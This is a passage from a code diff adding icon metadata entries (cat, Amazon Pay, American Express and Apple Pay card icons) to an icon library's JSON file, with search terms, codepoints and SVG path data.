16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z" + } + }, + "free": [ + "solid" + ] + }, + "cat": { + "changes": [ + "5.4.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "feline", + "halloween", + "holiday", + "kitten", + "kitty", + "meow", + "pet" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6be", + "label": "Cat", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635389, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "cc-amazon-pay": { + "changes": [ + "5.0.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42d", + "label": "Amazon Pay Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860971, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z" + } + }, + "free": [ + "brands" + ] + }, + "cc-amex": { + "changes": [ + "4.2", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "amex" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f1f3", + "label": "American Express Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699926, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z" + } + }, + "free": [ + "brands" + ] + }, + "cc-apple-pay": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f416", + "label": "Apple Pay Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860971, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 